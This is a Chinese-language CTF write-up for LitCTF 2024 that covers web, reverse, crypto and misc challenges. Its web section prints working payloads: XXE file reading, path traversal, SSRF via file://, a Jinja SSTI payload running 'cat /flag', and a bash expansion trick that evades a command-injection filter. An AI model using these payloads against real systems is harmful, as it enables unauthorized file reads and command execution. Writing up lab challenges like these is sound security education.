LitCTF 2024 wp

好简单的比赛!主要是队友大佬,早上起床开个靶机去吃饭回来队友已经把web秒到只剩下一道题了(我开着靶机队友上不去)misc也快秒完了

后来我做了一下web,一共用时29分04秒77比队友慢了一点())

队里没有crypto reverse和pwn手,也没什么成绩,佬们凑合着看吧,轻点喷哈~

队伍:LamentA 排位:67
队伍成员:
LamentXU
Leif9964
sanmu1
ababab

web(ak)

reverse

crypto

misc(ak)

写在后面

WEB

exx

xml实体注入。题目的名称或者抓包都可以看出来。

原理的话就不说了。

DTD定义合法的xml文档:

**内部声明DTD** 
<!DOCTYPE 根元素 [元素声明]>
**引用外部DTD** 
<!DOCTYPE 根元素 SYSTEM "文件名">

带有dtd的xml文档实例:

内部声明实体
<!ENTITY 实体名称 "实体的值">
**引用外部实体**
<!ENTITY 实体名称 SYSTEM "URL">
或者:
<!ENTITY 实体名称 PUBLIC "public_ID" "URL">

payload:

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY b SYSTEM "php://filter/convert.base64-encode/resource=/flag">
]>

<user><username>&b;</username><password>123</password></user>

这里定义了一个名为b的实体,它被引用了一个系统命令:php://filter/convert.base64-encode/resource=/flag

当然这是php环境。然后根据一般情况下的回显:把回显位置换成定义的实体b。如果正确解析的话就插入到了指定位置。

高亮主题(划掉)背景查看器

直接梭哈:

theme=../../../../flag

这一题其实注入点很好玩。注入点不是显示出来的url,而是点击Use this theme之后产生的反应:

POST / HTTP/1.1
Host: node3.anna.nssctf.cn:28296
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://node3.anna.nssctf.cn:28296
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node3.anna.nssctf.cn:28296/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

theme=theme1.php

注入点显而易见,根据报错信息:

Warning</b>:  include(themes//flag): failed to open stream: No such file or directory in <b>/var/www/html/index.php

也就是说文件目录被拼接了一个theme

所以直接梭哈:

theme=../../../../flag

浏览器也能套娃?

SSRF

直接使用伪协议:

url=file:///flag

SAS - Serializing Authentication System

直接梭哈:

<?php

class User {

    public $username;

    public $password;

    function __construct($username, $password) {

        $this->username = $username;

        $this->password = $password;

    }

    function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }

}

$pay=new User("admin","secure_password");
echo base64_encode(serialize($pay));
?>

一个....池子?

根据返回报文:

HTTP/1.1 200 OK
Server: Werkzeug/3.0.3 Python/3.10.14
Date: Sat, 01 Jun 2024 03:55:39 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1340
Connection: 

可以看出来这是一个python写的后端,尝试SSTI:

直接梭哈:

input={{"".__class__.__base__.__subclasses__()[137].__init__.__globals__["popen"]("cat /flag").read()}}

百万美金的诱惑

这一题很有意思。第一关:

<?php
error_reporting(0);

$a = $_GET['a'];
$b = $_GET['b'];

$c = $_GET['c'];

if ($a !== $b && md5($a) == md5($b)) {
        if (!is_numeric($c) && $c > 2024) {
            echo "好康的";
        } else {
            die("干巴爹干巴爹先辈~");
        }
    }
else {
    die("开胃小菜))");
}

弱比较:

GET /?a[]=1&b[]=2&c=2525b

第二关:


<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
    $x = $_GET['x'];
    if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
            system("cat ".$x.".php");
    }
}else{
    highlight_file(__FILE__);
}
?>

bash构造无数字字符的命令。

我构造的双展开形式的${}${}在bash中可以执行,但是在php中执行不了。

后来看bash扩展的时候,看到了一个很抽象的东西:

 '$(())',  # 0
        '$((~$(($((~$(())))$((~$(())))))))',  # 1
        '$((~$(($((~$(())))$((~$(())))$((~$(())))))))',  # 2
        '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 3
        '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 4
        '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 5
        '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 6
        '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', 

按照这个逻辑直接构造12:

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

REVERSE

ez_python!!!!

解包pyinstall打包后的.exe脚本:pyinstxtractor下载

然后发现ezpy.pyc,直接使用在线工具反编译

反编译结果:

# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.11

import Litctfbase64
flag = input('flag:')
flag = Litctfbase64.b64decode(flag)
# WARNING: Decompyle incomplete

注意到有部分反编译失败,但能看到导入了LitCTFbase64库

对其进行反编译,得到

# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.11

import string
BASE64_ALPHABET = '8kuWYm=1JiUPs7DT4x+X5tcqZKfGvA0gFLB6y3QbV2rNOlRdMwnEohjzSe9/HIa-'

def b64decode(input_string):
    pass
# WARNING: Decompyle incomplete


def from_base64(base64_string):
    pass
# WARNING: Decompyle incomplete

发现关键代码处均反编译失败,但得到BASE64_ALPHABET,推测为base64编码表

使用如下脚本看字节码指令

import dis
import marshal
import sys
if len(sys.argv) == 2:
    filename = sys.argv[1]
    with open(filename,"rb") as fp:
        byteCode = fp.read()[16:]
   
    co  = marshal.loads(byteCode)
    dis.dis(co)

发现ezpy.pyc中有可疑输出X=3o4hx=0EZwf=mMv13gX=3o4hx=qje2ZjtgZQmEKXZog4== 猜测为密文

  0           0 RESUME                   0

  1           2 LOAD_CONST               0 (0)
              4 LOAD_CONST               1 (None)
              6 IMPORT_NAME              0 (Litctfbase64)
              8 STORE_NAME               0 (Litctfbase64)

  2          10 NOP

  9          12 NOP

 12          14 PUSH_NULL
             16 LOAD_NAME                1 (input)
             18 LOAD_CONST               2 ('flag:')
             20 PRECALL                  1
             24 CALL                     1
             34 STORE_NAME               2 (flag)

 13          36 PUSH_NULL
             38 LOAD_NAME                0 (Litctfbase64)
             40 LOAD_ATTR                3 (b64decode)
             50 LOAD_NAME                2 (flag)
             52 PRECALL                  1
             56 CALL                     1
             66 STORE_NAME               2 (flag)

 15          68 LOAD_NAME                2 (flag)
             70 LOAD_CONST               3 ('X=3o4hx=0EZwf=mMv13gX=3o4hx=qje2ZjtgZQmEKXZog4==')
             72 COMPARE_OP               2 (==)
             78 POP_JUMP_FORWARD_IF_FALSE    13 (to 106)

 16          80 PUSH_NULL
             82 LOAD_NAME                4 (print)
             84 LOAD_CONST               4 ('win')
             86 PRECALL                  1
             90 CALL                     1
            100 POP_TOP
            102 LOAD_CONST               1 (None)
            104 RETURN_VALUE

 17     >>  106 PUSH_NULL
            108 LOAD_NAME                4 (print)
            110 LOAD_CONST               5 ('no')
            112 PRECALL                  1
            116 CALL                     1
            126 POP_TOP
            128 LOAD_CONST               1 (None)
            130 RETURN_VALUE

最后,base64换表解码

import base64
import string

str1 = "X=3o4hx=0EZwf=mMv13gX=3o4hx=qje2ZjtgZQmEKXZog4=="

string1 = "8kuWYm=1JiUPs7DT4x+X5tcqZKfGvA0gFLB6y3QbV2rNOlRdMwnEohjzSe9/HIa-"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))

编码喵

拖入IDA,shift+f12发现两个可疑字符串

tgL0q1rgEZaZmdm0zwq4lweYzgeTngfHnI1ImMm5ltaXywnLowuYnJmWmx0 //推测为密文
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 //推测为base64表

拖入脚本中运行即可

import base64
import string

str1 = "tgL0q1rgEZaZmdm0zwq4lweYzgeTngfHnI1ImMm5ltaXywnLowuYnJmWmx0 "

string1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))

CRYPTO

small_e

import gmpy2
c_list = [] // your list
for i in c_list:
    t = gmpy2.iroot(i,3)
    print(chr(t),end="")

得到flag

common_primes

求n1与n2的公约数即是p

然后就是正常解密。

CRT

轩禹CTF_RSA工具直接秒

little_fermet

差不多的原题:祥云杯 2022的little little fermat

贴上exp:


import gmpy2
from Crypto.Util.number import long_to_bytes,bytes_to_long
import libnum
n = 122719648746679660211272134136414102389555796575857405114496972248651220892565781331814993584484991300852578490929023084395318478514528533234617759712503439058334479192297581245539902950267201362675602085964421659147977335779128546965068649265419736053467523009673037723382969371523663674759921589944204926693
c = 109215817118156917306151535199288935588358410885541150319309172366532983941498151858496142368333375769194040807735053625645757204569614999883828047720427480384683375435683833780686557341909400842874816853528007258975117265789241663068590445878241153205106444357554372566670436865722966668420239234530554168928
temp=gmpy2.iroot(n,2)[0] 
p=gmpy2.next_prime(temp)
q=n//p
assert p*q == n
x = q-1
phi = (p-1)*(q-1)
e = 65537
d = gmpy2.invert(e, phi)
m = pow(c,d,n)
m = int(m ^ x)
print(libnum.n2s(m))


MISC

涐贪恋和伱、甾―⑺dé毎兮毎秒

zsteg工具

你说得对,但__

binwalk分离
拼接图片

原铁,启动!

【1.0版本考据】历时两个半月!铁道文字翻译!-崩坏:星穹铁道社区-米游社

【图研所】提瓦特现行文字对照表-原神社区-米游社

盯帧珍珠

Stegsolve逐帧查看

Everywhere We Go

Audacity查看频谱图

舔到最后应有尽有

base64隐写

直接PuzzleSolver秒杀

关键,太关键了!

PuzzleSolver字频统计

bingo

关键字解密

LITCTF{I_MISS_YOU_BOSS}

女装照流量

跟踪http

28页为zip

26页base64为key

Y2QgL2QgIkM6XFxQcm9ncmFtIEZpbGVzXFxwaHBzdHVkeV9wcm9cXFdXV1xcTGl0Q1RGLXBjYXBuZyImemlwIC1QICJQYVNzdzByZF9MaXRDdEZfTDB2ZWx5X3RhbkppIiBmMWFnLnppcCBmbGFnLnBocCZlY2hvIDFhOTI1JmNkJmVjaG8gNmZmZWIx&xf65aaf1672c18=ST

The love

掩码和压缩包

提取爆破即可

Ykc5MlpWOXBjMTl3WVdsdVpuVnM

base64解两次

love_is_painful

然后使用DeepSound注意版本必须是2.2 对爱情.wav解密即可,密码是上面的love_is_painful

写在后面

好久没有打过这么爽的一次比赛了,其他一点不懂的方向还能靠现学现卖混点分())

最近打了几把不是新生赛的比赛老是被暴杀,算是感受到CTF的无聊和苦闷了

也许过了打新生赛的快乐阶段才算真正入门CTF吧

posted @ 2024-06-01 22:21  LamentXU  阅读(339)  评论(0编辑  收藏  举报